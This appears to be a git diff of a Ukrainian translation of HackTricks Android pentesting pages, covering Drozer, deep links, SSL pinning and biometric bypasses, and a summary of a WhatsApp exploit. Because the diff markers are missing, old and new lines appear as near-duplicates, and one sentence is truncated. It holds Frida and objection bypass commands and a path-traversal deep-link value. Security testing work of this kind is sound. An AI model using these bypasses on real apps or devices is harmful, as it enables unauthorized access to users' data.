Додатки часто інтегрують сервіси, такі як Google Adsense, які можуть ненавмисно **викривати чутливі дані** через неправильну реалізацію розробниками. Щоб виявити потенційні витоки даних, рекомендується **перехопити трафік програми** та перевірити, чи надсилається якась чутлива інформація третім особам.
Додатки часто інтегрують сервіси, такі як Google Adsense, які можуть ненавмисно **викривати чутливі дані** через неналежну реалізацію розробниками. Щоб виявити потенційні витоки даних, рекомендується **перехопити трафік програми** та перевірити, чи надсилається якась чутлива інформація третім особам.
### SQLite БД
### SQLite DBs
Більшість додатків використовуватимуть **внутрішні SQLite бази даних** для збереження інформації. Під час пентесту зверніть увагу на **бази даних**, які були створені, назви **таблиць** та **стовпців** і всі **дані**, які зберігаються, оскільки ви можете знайти **чутливу інформацію** (що буде вразливістю).\
Бази даних повинні розташовуватися в `/data/data/the.package.name/databases`, як `/data/data/com.mwr.example.sieve/databases`
Бази даних повинні розташовуватися в `/data/data/the.package.name/databases`, як `/data/data/com.mwr.example.sieve/databases`.
Якщо база даних зберігає конфіденційну інформацію і є **зашифрованою**, але ви можете **знайти** **пароль** всередині програми, це все ще є **вразливістю**.
Перерахуйте таблиці, використовуючи `.tables`, і перераховуйте стовпці таблиць, виконуючи `.schema <table_name>`
Перерахуйте таблиці, використовуючи `.tables`, і перераховуйте стовпці таблиць, виконуючи `.schema <table_name>`.
### Drozer (Експлуатація активностей, постачальників контенту та сервісів)
З [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **приймати роль Android-додатка** та взаємодіяти з іншими додатками. Він може робити **все, що може зробити встановлений додаток**, наприклад, використовувати механізм міжпроцесного спілкування (IPC) Android і взаємодіяти з основною операційною системою.\
З [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **приймати роль Android-додатка** та взаємодіяти з іншими додатками. Він може робити **все, що може зробити встановлений додаток**, наприклад, використовувати механізм міжпроцесного зв'язку (IPC) Android і взаємодіяти з основною операційною системою.\
Drozer є корисним інструментом для **експлуатації експортованих активностей, експортованих сервісів та постачальників контенту**, як ви дізнаєтеся в наступних розділах.
### Експлуатація експортованих активностей
@ -359,9 +329,9 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
#### Tapjacking
Якщо tapjacking не запобігається, ви можете зловживати експортованою активністю, щоб змусити **користувача виконувати несподівані дії**. Для отримання додаткової інформації про [**що таке Tapjacking, перейдіть за посиланням**](./#tapjacking).
Якщо tapjacking не запобігається, ви можете зловживати експортованою активністю, щоб змусити **користувача виконувати неочікувані дії**. Для отримання додаткової інформації про [**що таке Tapjacking, перейдіть за посиланням**](./#tapjacking).
### Експлуатація постачальників контенту - доступ до чутливої інформації та її маніпуляція
### Експлуатація постачальників контенту - Доступ до чутливої інформації та її маніпуляція
[**Прочитайте це, якщо хочете освіжити знання про постачальника контенту.**](android-applications-basics.md#content-provider)\
Постачальники контенту в основному використовуються для **обміну даними**. Якщо у програми є доступні постачальники контенту, ви можете **витягнути чутливі** дані з них. Також цікаво протестувати можливі **SQL-ін'єкції** та **перетворення шляхів**, оскільки вони можуть бути вразливими.
@ -384,7 +354,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
Приймач трансляцій буде чекати на певний тип повідомлення. В залежності від того, як приймач обробляє повідомлення, він може бути вразливим.\
[**Дізнайтеся, як експлуатувати приймачі трансляцій за допомогою Drozer.**](./#exploiting-broadcast-receivers)
### **Експлуатація схем / глибоких посилань**
### **Експлуатація схем / Глибоких посилань**
Ви можете шукати глибокі посилання вручну, використовуючи інструменти, такі як MobSF, або скрипти, такі як [цей](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Ви можете **відкрити** оголошену **схему** за допомогою **adb** або **браузера**:
@ -406,30 +376,30 @@ _Зверніть увагу, що ви можете **пропустити ім
**Чутлива інформація**
Кожного разу, коли ви знаходите глибоке посилання, перевірте, що **воно не отримує чутливі дані (як-от паролі) через параметри URL**, оскільки будь-який інший додаток може **видавати себе за глибоке посилання і вкрасти ці дані!**
Кожного разу, коли ви знаходите глибоке посилання, перевірте, що **воно не отримує чутливі дані (як-от паролі) через URL параметри**, оскільки будь-який інший додаток може **видавати себе за глибоке посилання і вкрасти ці дані!**
**Параметри в шляху**
Ви **також повинні перевірити, чи використовує будь-яке глибоке посилання параметр всередині шляху** URL, наприклад: `https://api.example.com/v1/users/{username}`, у такому випадку ви можете примусити перехід по шляху, отримуючи доступ до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Зверніть увагу, що якщо ви знайдете правильні кінцеві точки всередині програми, ви можете викликати **Open Redirect** (якщо частина шляху використовується як ім'я домену), **захоплення облікового запису** (якщо ви можете змінити деталі користувачів без CSRF токена, а вразлива кінцева точка використовувала правильний метод) та будь-яку іншу вразливість. Більше [інформації про це тут](http://dphoeniixx.com/2020/12/13-2/).
Зверніть увагу, що якщо ви знайдете правильні кінцеві точки всередині додатку, ви можете викликати **Open Redirect** (якщо частина шляху використовується як ім'я домену), **захоплення облікового запису** (якщо ви можете змінити деталі користувачів без CSRF токена, а вразлива кінцева точка використовувала правильний метод) та будь-яку іншу вразливість. Більше [інформації про це тут](http://dphoeniixx.com/2020/12/13-2/).
**Більше прикладів**
Цікава [відповідь на баг-баунті](https://hackerone.com/reports/855618) про посилання (_/.well-known/assetlinks.json_).
### Перевірка та верифікація транспортного шару
### Перевірка та верифікація транспортного рівня
- **Сертифікати не завжди перевіряються належним чином** Android-додатками. Це звичайна практика для цих додатків ігнорувати попередження та приймати самопідписані сертифікати або, в деяких випадках, повертатися до використання HTTP-з'єднань.
- **Переговори під час SSL/TLS рукопожаття іноді є слабкими**, використовуючи ненадійні шифри. Ця вразливість робить з'єднання вразливим до атак типу man-in-the-middle (MITM), що дозволяє зловмисникам розшифровувати дані.
- **Сертифікати не завжди перевіряються належним чином** Android-додатками. Це звичайна практика, коли ці додатки ігнорують попередження і приймають самопідписані сертифікати або, в деяких випадках, повертаються до використання HTTP-з'єднань.
- **Переговори під час SSL/TLS рукопожаття іноді є слабкими**, використовуючи небезпечні шифри. Ця вразливість робить з'єднання вразливим до атак типу man-in-the-middle (MITM), що дозволяє зловмисникам розшифровувати дані.
- **Витік приватної інформації** є ризиком, коли додатки аутентифікуються за допомогою захищених каналів, але потім спілкуються через незахищені канали для інших транзакцій. Цей підхід не захищає чутливі дані, такі як сесійні куки або деталі користувачів, від перехоплення зловмисними особами.
#### Перевірка сертифікатів
Ми зосередимося на **перевірці сертифікатів**. Цілісність сертифіката сервера повинна бути перевірена для підвищення безпеки. Це важливо, оскільки ненадійні конфігурації TLS та передача чутливих даних через незашифровані канали можуть становити значні ризики. Для детальних кроків щодо перевірки сертифікатів сервера та усунення вразливостей, [**цей ресурс**](https://manifestsecurity.com/android-application-security-part-10/) надає всебічні рекомендації.
Ми зосередимося на **перевірці сертифікатів**. Цілісність сертифіката сервера повинна бути перевірена для підвищення безпеки. Це важливо, оскільки небезпечні конфігурації TLS та передача чутливих даних через незашифровані канали можуть становити значні ризики. Для детальних кроків щодо перевірки сертифікатів сервера та усунення вразливостей, [**цей ресурс**](https://manifestsecurity.com/android-application-security-part-10/) надає всебічні рекомендації.
#### SSL Pinning
SSL Pinning - це захід безпеки, при якому додаток перевіряє сертифікат сервера на відповідність відомій копії, збереженій у самому додатку. Цей метод є важливим для запобігання атакам MITM. Рекомендується впроваджувати SSL Pinning для додатків, які обробляють чутливу інформацію.
SSL Pinning - це захід безпеки, коли додаток перевіряє сертифікат сервера проти відомої копії, збереженої в самому додатку. Цей метод є важливим для запобігання атакам MITM. Рекомендується впроваджувати SSL Pinning для додатків, які обробляють чутливу інформацію.
#### Інспекція трафіку
@ -442,10 +412,10 @@ SSL Pinning - це захід безпеки, при якому додаток
Коли впроваджено SSL Pinning, обхід його стає необхідним для перевірки HTTPS-трафіку. Для цього доступні різні методи:
- Автоматично **модифікуйте** **apk**, щоб **обійти** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Найбільша перевага цього варіанту в тому, що вам не знадобиться root для обходу SSL Pinning, але вам потрібно буде видалити додаток і перевстановити новий, і це не завжди спрацьовує.
- Ви можете використовувати **Frida** (обговорюється нижче), щоб обійти цей захист. Ось посібник з використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Ви можете використовувати **Frida** (обговорюється нижче), щоб обійти цю захист. Ось посібник з використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Ви також можете спробувати **автоматично обійти SSL Pinning**, використовуючи [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Ви також можете спробувати **автоматично обійти SSL Pinning**, використовуючи **MobSF динамічний аналіз** (пояснюється нижче)
- Якщо ви все ще вважаєте, що є якийсь трафік, який ви не захоплюєте, ви можете спробувати **переслати трафік до burp за допомогою iptables**. Прочитайте цей блог: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- Якщо ви все ще вважаєте, що є якийсь трафік, який ви не захоплюєте, ви можете спробувати **переслати трафік до burp, використовуючи iptables**. Прочитайте цей блог: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Пошук загальних веб-вразливостей
@ -457,9 +427,9 @@ SSL Pinning - це захід безпеки, при якому додаток
**Ви можете отримати доступ до запущеного додатку та підключати методи в реальному часі, щоб змінити поведінку, змінити значення, витягти значення, виконати різний код...**\
Якщо ви хочете провести тестування безпеки Android-додатків, вам потрібно знати, як використовувати Frida.
- Дізнайтеся, як використовувати Frida: [**посібник Frida**](frida-tutorial/)
- Дізнайтеся, як використовувати Frida: [**посібник з Frida**](frida-tutorial/)
- Деякі "GUI" для дій з Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection - це чудово для автоматизації використання Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Ojection чудово підходить для автоматизації використання Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Ви можете знайти деякі чудові скрипти Frida тут: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Спробуйте обійти механізми анти-дебагінгу / анти-Frida, завантажуючи Frida, як вказано в [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (інструмент [linjector](https://github.com/erfur/linjector-rs))
@ -476,13 +446,13 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Це скине пам'ять у папку ./dump, і там ви зможете використовувати grep з чимось на кшталт:
Це скине пам'ять у папку ./dump, і там ви можете використовувати grep з чимось на кшталт:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Чутливі дані в Keystore**
У Android Keystore є найкращим місцем для зберігання чутливих даних, однак, з достатніми привілеями все ще **можливо отримати до них доступ**. Оскільки додатки, як правило, зберігають тут **чутливі дані у відкритому тексті**, пентести повинні перевіряти це як користувач root або хтось з фізичним доступом до пристрою може бути здатний вкрасти ці дані.
У Android Keystore є найкращим місцем для зберігання чутливих даних, однак, з достатніми привілеями все ще **можливо отримати доступ** до нього. Оскільки додатки, як правило, зберігають тут **чутливі дані у відкритому тексті**, пентести повинні перевіряти це як користувач root або хтось з фізичним доступом до пристрою може бути здатний вкрасти ці дані.
Навіть якщо додаток зберігав дані в keystore, дані повинні бути зашифровані.
@ -498,7 +468,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
```
### **Фонові зображення**
Коли ви ставите додаток у фоновий режим, Android зберігає **знімок додатка**, щоб, коли його відновлюють на передній план, він починає завантажувати зображення перед додатком, тому здається, що додаток завантажився швидше.
Коли ви ставите додаток у фоновий режим, Android зберігає **знімок додатку**, щоб, коли його відновлюють на передній план, він починає завантажувати зображення перед додатком, тому здається, що додаток завантажився швидше.
Однак, якщо цей знімок містить **чутливу інформацію**, хтось, хто має доступ до знімка, може **викрасти цю інформацію** (зверніть увагу, що вам потрібен root для доступу до неї).
@ -516,7 +486,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
Розробники часто створюють проксі-компоненти, такі як активності, сервіси та приймачі трансляцій, які обробляють ці Намір і передають їх методам, таким як `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано.
Небезпека полягає в тому, що зловмисники можуть спонукати до активації неекспортованих компонентів додатка або отримати доступ до чутливих постачальників контенту, неправильно перенаправляючи ці Намір. Яскравим прикладом є компонент `WebView`, який перетворює URL-адреси на об'єкти `Intent` за допомогою `Intent.parseUri(...)` і потім виконує їх, що може призвести до шкідливих ін'єкцій Намір.
Небезпека полягає в тому, що зловмисники можуть спонукати до активації неекспортованих компонентів додатка або отримати доступ до чутливих постачальників контенту, неправильно перенаправляючи ці Намір. Яскравим прикладом є компонент `WebView`, який перетворює URL-адреси на об'єкти `Intent` за допомогою `Intent.parseUri(...)`, а потім виконує їх, що може призвести до шкідливих ін'єкцій Намір.
### Основні висновки
@ -532,26 +502,11 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
- **SQL-ін'єкція:** При роботі з динамічними запитами або постачальниками контенту переконайтеся, що ви використовуєте параметризовані запити.
- **Ін'єкція JavaScript (XSS):** Переконайтеся, що підтримка JavaScript та плагінів вимкнена для будь-яких WebViews (вимкнено за замовчуванням). [Більше інформації тут](webview-attacks.md#javascript-enabled).
- **Включення локальних файлів:** WebViews повинні мати доступ до файлової системи вимкненим (включено за замовчуванням) - `(webview.getSettings().setAllowFileAccess(false);)`. [Більше інформації тут](webview-attacks.md#javascript-enabled).
- **Вічні куки**: У кількох випадках, коли Android-додаток завершує сесію, куки не відкликаються або можуть навіть зберігатися на диску.
- [**Безпечний прапор** у куках](../../pentesting-web/hacking-with-cookies/#cookies-flags)
- **Вічні куки**: У кількох випадках, коли Android-додаток завершує сесію, куки не відкликаються або можуть бути навіть збережені на диску.
- [**Безпечний прапорець** у куках](../../pentesting-web/hacking-with-cookies/#cookies-flags)
---
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
**Інсайти з хакінгу**\
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу.
**Новини про хакінг у реальному часі**\
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі.
**Останні оголошення**\
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ.
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
## Автоматичний аналіз
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
@ -598,7 +553,7 @@ MobSF також дозволяє вам завантажити свої вла
- **Захопити порівняння рядків**: Може бути дуже корисно. Він **показуватиме 2 рядки, які порівнюються** і чи був результат True чи False.
- **Перерахувати методи класу**: Введіть ім'я класу (наприклад, "java.io.File") і він виведе всі методи класу.
- **Шукати шаблон класу**: Шукати класи за шаблоном
- **Трасувати методи класу**: **Трасувати** **весь клас** (дивитися вхідні та вихідні дані всіх методів класу). Пам'ятайте, що за замовчуванням MobSF трасує кілька цікавих методів Android Api.
- **Трасувати методи класу**: **Трасувати** **весь клас** (дивитися вхідні та вихідні дані всіх методів класу). Пам'ятайте, що за замовчуванням MobSF трасує кілька цікавих методів Android API.
Якщо ви вибрали допоміжний модуль, який хочете використовувати, вам потрібно натиснути "**Start Intrumentation**" і ви побачите всі виходи в "**Frida Live Logs**".
@ -702,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** - це **M**обільний **A**плікаційний **R**еверс-інжиніринг та **A**наліз. Це інструмент, який об'єднує загальновживані інструменти для реверс-інжинірингу та аналізу мобільних додатків, щоб допомогти в тестуванні мобільних додатків на предмет загроз безпеці мобільних додатків OWASP. Його мета - спростити це завдання та зробити його більш зручним для розробників мобільних додатків та фахівців з безпеки.
**MARA** - це **M**обільний **A**плікаційний **R**еверс-інжиніринг та **A**наліз Фреймворк. Це інструмент, який об'єднує загальновживані інструменти реверс-інжинірингу та аналізу мобільних додатків, щоб допомогти в тестуванні мобільних додатків на предмет загроз безпеці мобільних додатків OWASP. Його мета - спростити це завдання та зробити його більш зручним для розробників мобільних додатків та фахівців з безпеки.
Він здатний:
@ -729,7 +684,7 @@ ProGuard розповсюджується як частина Android SDK і з
### [DexGuard](https://www.guardsquare.com/dexguard)
Знайдіть покрокову інструкцію для деобфускації apk на [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
Знайдіть покрокову інструкцію для деобфускації apk в [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(З тієї інструкції) Останній раз, коли ми перевіряли, режим роботи Dexguard був:
@ -745,9 +700,13 @@ ProGuard розповсюджується як частина Android SDK і з
Ви можете завантажити обфускований APK на їх платформу.
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
Це інструмент LLM для виявлення потенційних вразливостей безпеки в android додатках та деобфускації коду android додатків. Використовує публічний API Google Gemini.
### [Simplify](https://github.com/CalebFenton/simplify)
Це **універсальний деобфускатор для Android.** Simplify **віртуально виконує додаток**, щоб зрозуміти його поведінку, а потім **намагається оптимізувати код**, щоб він поводився ідентично, але був легшим для розуміння людиною. Кожен тип оптимізації є простим і універсальним, тому не має значення, який конкретний тип обфускації використовується.
Це **універсальний деобфускатор android.** Simplify **віртуально виконує додаток**, щоб зрозуміти його поведінку, а потім **намагається оптимізувати код**, щоб він поводився ідентично, але був легшим для розуміння людиною. Кожен тип оптимізації є простим і універсальним, тому не має значення, який конкретний тип обфускації використовується.
### [APKiD](https://github.com/rednaga/APKiD)
@ -777,19 +736,4 @@ AndroL4b - це віртуальна машина безпеки Android на б
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами багів!
**Hacking Insights**\
Залучайтеся до контенту, який занурюється в захоплення та виклики хакерства
**Real-Time Hack News**\
Слідкуйте за швидкоплинним світом хакерства через новини та інсайти в реальному часі
**Latest Announcements**\
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформи
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
{{#include ../../banners/hacktricks-training.md}}

27
src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md
View File

@ -1,16 +1,10 @@
# Обхід біометричної аутентифікації (Android)
# Bypass Biometric Authentication (Android)
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
## **Method 1 – Bypassing with No Crypto Object Usage**
Поглибте свої знання в **Мобільній безпеці** з 8kSec Academy. Опануйте безпеку iOS та Android через наші курси з самостійним навчанням та отримайте сертифікат:
{% embed url="https://academy.8ksec.io/" %}
## **Метод 1 – Обхід без використання Crypto Object**
Основна увага тут приділяється _onAuthenticationSucceeded_ callback, який є критично важливим у процесі аутентифікації. Дослідники з WithSecure розробили [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), що дозволяє обійти NULL _CryptoObject_ в _onAuthenticationSucceeded(...)_. Скрипт примусово обходить аутентифікацію за відбитком пальця при виклику методу. Нижче наведено спрощений фрагмент, що демонструє обхід у контексті Android Fingerprint, з повною програмою, доступною на [GitHub](https://github.com/St3v3nsS/InsecureBanking).
Основна увага тут приділяється _onAuthenticationSucceeded_ зворотному виклику, який є критично важливим у процесі аутентифікації. Дослідники з WithSecure розробили [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), що дозволяє обійти NULL _CryptoObject_ в _onAuthenticationSucceeded(...)_. Скрипт примусово виконує автоматичне обхід аутентифікації за відбитком пальця під час виклику методу. Нижче наведено спрощений фрагмент, що демонструє обхід у контексті Android Fingerprint, повна програма доступна на [GitHub](https://github.com/St3v3nsS/InsecureBanking).
```javascript
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
@Override
@ -25,9 +19,7 @@ frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-byp
```
## **Метод 2 – Підхід обробки виключень**
Ще один [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) від WithSecure вирішує проблему обходу використання небезпечних криптооб'єктів. Скрипт викликає _onAuthenticationSucceeded_ з _CryptoObject_, який не був авторизований за допомогою відбитка пальця. Якщо додаток намагається використовувати інший об'єкт шифрування, це викличе виключення. Скрипт готується викликати _onAuthenticationSucceeded_ і обробляти _javax.crypto.IllegalBlockSizeException_ у класі _Cipher_, забезпечуючи, щоб наступні об'єкти, які використовуються додатком, були зашифровані новим ключем.
Команда для запуску скрипта Frida:
Ще один [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) від WithSecure вирішує проблему обходу використання небезпечних криптооб'єктів. Скрипт викликає _onAuthenticationSucceeded_ з _CryptoObject_, який не був авторизований за допомогою відбитка пальця. Якщо додаток намагається використовувати інший об'єкт шифрування, це викличе виключення. Скрипт готується викликати _onAuthenticationSucceeded_ і обробляти _javax.crypto
```bash
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass-via-exception-handling.js
```
@ -55,24 +47,19 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
Інструменти реверс-інжинірингу, такі як `APKTool`, `dex2jar` та `JD-GUI`, можуть бути використані для декомпіляції Android-додатку, читання його вихідного коду та розуміння його механізму аутентифікації. Кроки зазвичай включають:
1. **Декомпіляція APK**: Перетворення файлу APK у більш зрозумілий формат (наприклад, Java-код).
2. **Аналіз коду**: Пошук реалізації аутентифікації за відбитками пальців та виявлення потенційних вразливостей (наприклад, механізмів резервного копіювання або неналежних перевірок валідації).
2. **Аналіз коду**: Пошук реалізації аутентифікації за відбитками пальців та виявлення потенційних вразливостей (наприклад, механізмів резервного копіювання або неналежних перевірок).
3. **Рекомпіляція APK**: Після модифікації коду для обходу аутентифікації за відбитками пальців, додаток рекомпілюється, підписується та встановлюється на пристрій для тестування.
## **Метод 5 – Використання спеціалізованих інструментів аутентифікації**
Існують спеціалізовані інструменти та скрипти, призначені для тестування та обходу механізмів аутентифікації. Наприклад:
1. **MAGISK Модулі**: MAGISK – це інструмент для Android, який дозволяє користувачам рутувати свої пристрої та додавати модулі, які можуть модифікувати або підробляти інформацію на апаратному рівні, включаючи відбитки пальців.
2. **Спеціально створені скрипти**: Скрипти можуть бути написані для взаємодії з Android Debug Bridge (ADB) або безпосередньо з бекендом додатку для симуляції або обходу аутентифікації за відбитками пальців.
1. **Модулі MAGISK**: MAGISK – це інструмент для Android, який дозволяє користувачам рутувати свої пристрої та додавати модулі, які можуть модифікувати або підробляти інформацію на апаратному рівні, включаючи відбитки пальців.
2. **Скрипти на замовлення**: Скрипти можуть бути написані для взаємодії з Android Debug Bridge (ADB) або безпосередньо з бекендом додатку для симуляції або обходу аутентифікації за відбитками пальців.
## Посилання
- [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Поглибте свої знання в **Мобільній безпеці** з 8kSec Academy. Опануйте безпеку iOS та Android через наші курси з самостійним навчанням та отримайте сертифікат:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

10
src/mobile-pentesting/android-app-pentesting/content-protocol.md
View File

@ -1,10 +1,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**Це резюме посту [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
**Це резюме поста [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### Перелік файлів у Media Store
@ -79,8 +75,4 @@ xhr.send();
<body onload="poc()"></body>
</html>
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

42
src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md
View File

@ -2,20 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}}
<img src="../../../images/i3.png" alt="" data-size="original">
**Порада для баг-баунті**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## APKs для тестування
## APKs to test
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (від mrwlabs)
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
**Частини цього посібника були витягнуті з** [**документації Drozer pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**.**
## Встановлення
## Installation
Встановіть Drozer Client на вашому хості. Завантажте його з [останніх релізів](https://github.com/mwrlabs/drozer/releases).
```bash
@ -44,15 +40,15 @@ drozer console connect
## Цікаві команди
| **Команди** | **Опис** |
| --------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Help MODULE** | Показує допомогу вибраного модуля |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Help MODULE** | Показує допомогу вибраного модуля |
| **list** | Показує список усіх модулів drozer, які можна виконати в поточній сесії. Це приховує модулі, які ви не маєте відповідних прав для виконання. |
| **shell** | Запускає інтерактивну оболонку Linux на пристрої в контексті Агенту. |
| **clean** | Видаляє тимчасові файли, збережені drozer на Android-пристрої. |
| **load** | Завантажує файл, що містить команди drozer, і виконує їх послідовно. |
| **module** | Знаходить і встановлює додаткові модулі drozer з Інтернету. |
| **unset** | Видаляє названу змінну, яку drozer передає будь-яким оболонкам Linux, які він створює. |
| **set** | Зберігає значення в змінній, яка буде передана як змінна середовища будь-яким оболонкам Linux, створеним drozer. |
| **shell** | Запускає інтерактивну оболонку Linux на пристрої в контексті Агенту. |
| **clean** | Видаляє тимчасові файли, збережені drozer на Android-пристрої. |
| **load** | Завантажує файл, що містить команди drozer, і виконує їх послідовно. |
| **module** | Знаходить і встановлює додаткові модулі drozer з Інтернету. |
| **unset** | Видаляє названу змінну, яку drozer передає будь-яким оболонкам Linux, які він створює. |
| **set** | Зберігає значення в змінній, яка буде передана як змінна середовища будь-яким оболонкам Linux, створеним drozer. |
| **shell** | Запускає інтерактивну оболонку Linux на пристрої в контексті Агенту |
| **run MODULE** | Виконує модуль drozer |
| **exploit** | Drozer може створювати експлойти для виконання на пристрої. `drozer exploit list` |
@ -60,7 +56,7 @@ drozer console connect
### Пакет
Знайдіть **ім'я** пакету, фільтруючи за частиною імені:
Знайдіть **ім'я** пакета, фільтруючи за частиною імені:
```bash
dz> run app.package.list -f sieve
com.mwr.example.sieve
@ -99,10 +95,10 @@ Attack Surface:
2 services exported
is debuggable
```
- **Дії**: Можливо, ви можете розпочати дію та обійти якусь авторизацію, яка повинна заважати вам її запускати.
- **Постачальники контенту**: Можливо, ви можете отримати доступ до приватних даних або експлуатувати якусь вразливість (SQL Injection або Path Traversal).
- **Дії**: Можливо, ви можете розпочати дію та обійти певний вид авторизації, яка повинна заважати вам її запускати.
- **Постачальники контенту**: Можливо, ви можете отримати доступ до приватних даних або експлуатувати певну вразливість (SQL Injection або Path Traversal).
- **Сервіси**:
- **is debuggable**: [Дізнайтеся більше](./#is-debuggeable)
